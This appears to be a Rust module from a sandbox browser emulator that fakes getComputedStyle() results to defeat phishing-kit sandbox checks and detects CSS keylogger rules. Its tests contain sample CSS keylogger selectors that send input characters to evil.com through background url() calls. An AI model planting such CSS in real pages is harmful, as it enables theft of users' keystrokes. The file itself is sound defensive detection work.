/// CSS simulation — getComputedStyle and CSS keylogger detection.
///
/// Phishing kits use getComputedStyle() to check element visibility
/// (display: none, visibility: hidden) to detect sandboxes.
/// CSS keyloggers use input[value^="a"] { background: url(exfil) }
/// to exfiltrate keystrokes character by character.
///
/// This module:
/// 1. Returns plausible computed styles for getComputedStyle()
/// 2. Parses CSS rules and matches selectors to detect exfiltration URLs
///
use std::collections::HashMap;

use crate::dom::{Dom, NodeId};

/// Computed style for an element.
#[derive(Debug, Clone, Default)]
pub struct ComputedStyle {
    properties: HashMap<String, String>,
}

impl ComputedStyle {
    /// Build a computed style for a node, using inline styles + defaults.
    pub fn for_node(dom: &Dom, node_id: NodeId) -> Self {
        let mut properties = default_computed_style();

        if let Some(node) = dom.get(node_id) {
            // Apply inline styles.
            for (prop, value) in &node.style {
                properties.insert(prop.clone(), value.clone());
            }

            // Check for visibility-hiding patterns.
            if let Some(display) = node.style.get("display")
                && display == "none"
            {
                properties.insert("display".into(), "none".into());
            }
            if let Some(vis) = node.style.get("visibility") {
                properties.insert("visibility".into(), vis.clone());
            }
            if let Some(opacity) = node.style.get("opacity") {
                properties.insert("opacity".into(), opacity.clone());
            }
        }

        Self { properties }
    }

    /// Get a computed property value.
    pub fn get_property(&self, name: &str) -> &str {
        self.properties
            .get(&name.to_ascii_lowercase())
            .map(|s| s.as_str())
            .unwrap_or("")
    }

    /// Serialize as JSON for the JS bridge.
    pub fn to_json(&self) -> String {
        serde_json::to_string(&self.properties).unwrap_or_default()
    }
}

fn default_computed_style() -> HashMap<String, String> {
    let mut m = HashMap::new();
    m.insert("display".into(), "block".into());
    m.insert("visibility".into(), "visible".into());
    m.insert("opacity".into(), "1".into());
    m.insert("position".into(), "static".into());
    m.insert("width".into(), "auto".into());
    m.insert("height".into(), "auto".into());
    m.insert("color".into(), "rgb(0, 0, 0)".into());
    m.insert("background-color".into(), "rgba(0, 0, 0, 0)".into());
    m.insert("font-size".into(), "16px".into());
    m.insert("font-family".into(), "\"Times New Roman\", serif".into());
    m.insert("overflow".into(), "visible".into());
    m.insert("z-index".into(), "auto".into());
    m
}

/// Detected CSS exfiltration attempt.
#[derive(Debug, Clone)]
pub struct CssExfilAttempt {
    pub selector: String,
    pub url: String,
    pub property: String,
}

/// Scan CSS text for potential keylogger/exfiltration patterns.
///
/// Looks for rules where:
/// - Selector targets input values: `input[value^="a"]`
/// - Property value contains an external URL: `url(https://...)`
pub fn detect_css_exfiltration(css: &str) -> Vec<CssExfilAttempt> {
    let mut findings = Vec::new();

    // Simple CSS rule parser — not spec-compliant, catches the attack pattern.
    let mut pos = 0;
    let bytes = css.as_bytes();

    while pos < bytes.len() {
        // Find selector (everything before '{').
        let selector_start = pos;
        while pos < bytes.len() && bytes[pos] != b'{' {
            pos += 1;
        }
        if pos >= bytes.len() {
            break;
        }
        let selector = css[selector_start..pos].trim().to_string();
        pos += 1; // skip '{'

        // Find declaration block (everything before '}').
        let decl_start = pos;
        let mut depth = 1;
        while pos < bytes.len() && depth > 0 {
            if bytes[pos] == b'{' {
                depth += 1;
            }
            if bytes[pos] == b'}' {
                depth -= 1;
            }
            pos += 1;
        }
        let declarations = &css[decl_start..pos.saturating_sub(1)];

        // Check if this looks like an input value exfiltration selector.
        let is_value_selector = selector.contains("[value")
            || selector.contains("[data-")
            || selector.contains(":checked")
            || selector.contains(":focus");

        if !is_value_selector {
            continue;
        }

        // Look for url() in the declarations.
        for decl in declarations.split(';') {
            let decl = decl.trim();
            if let Some(url_start) = decl.find("url(") {
                let after = &decl[url_start + 4..];
                let url_end = after.find(')').unwrap_or(after.len());
                let url = after[..url_end].trim().trim_matches('"').trim_matches('\'');

                // Only flag external URLs (not data: or same-origin).
                if url.starts_with("http://")
                    || url.starts_with("https://")
                    || url.starts_with("//")
                {
                    let property = decl.split(':').next().unwrap_or("").trim().to_string();

                    findings.push(CssExfilAttempt {
                        selector: selector.clone(),
                        url: url.to_string(),
                        property,
                    });
                }
            }
        }
    }

    findings
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn detects_css_keylogger() {
        let css = r#"
            input[value^="a"] { background: url(https://evil.com/log?k=a); }
            input[value^="b"] { background: url(https://evil.com/log?k=b); }
        "#;
        let findings = detect_css_exfiltration(css);
        assert_eq!(findings.len(), 2);
        assert!(findings[0].url.contains("evil.com"));
        assert!(findings[0].selector.contains("[value^="));
    }

    #[test]
    fn ignores_data_urls() {
        let css = r#"
            input[value^="x"] { background: url(data:image/png;base64,abc); }
        "#;
        let findings = detect_css_exfiltration(css);
        assert!(findings.is_empty());
    }

    #[test]
    fn ignores_non_value_selectors() {
        let css = r#"
            div { background: url(https://cdn.example.com/bg.png); }
        "#;
        let findings = detect_css_exfiltration(css);
        assert!(findings.is_empty());
    }

    #[test]
    fn computed_style_default() {
        let dom = Dom::empty();
        let body = dom.body().unwrap_or(NodeId::ROOT);
        let style = ComputedStyle::for_node(&dom, body);
        assert_eq!(style.get_property("display"), "block");
        assert_eq!(style.get_property("visibility"), "visible");
    }
}
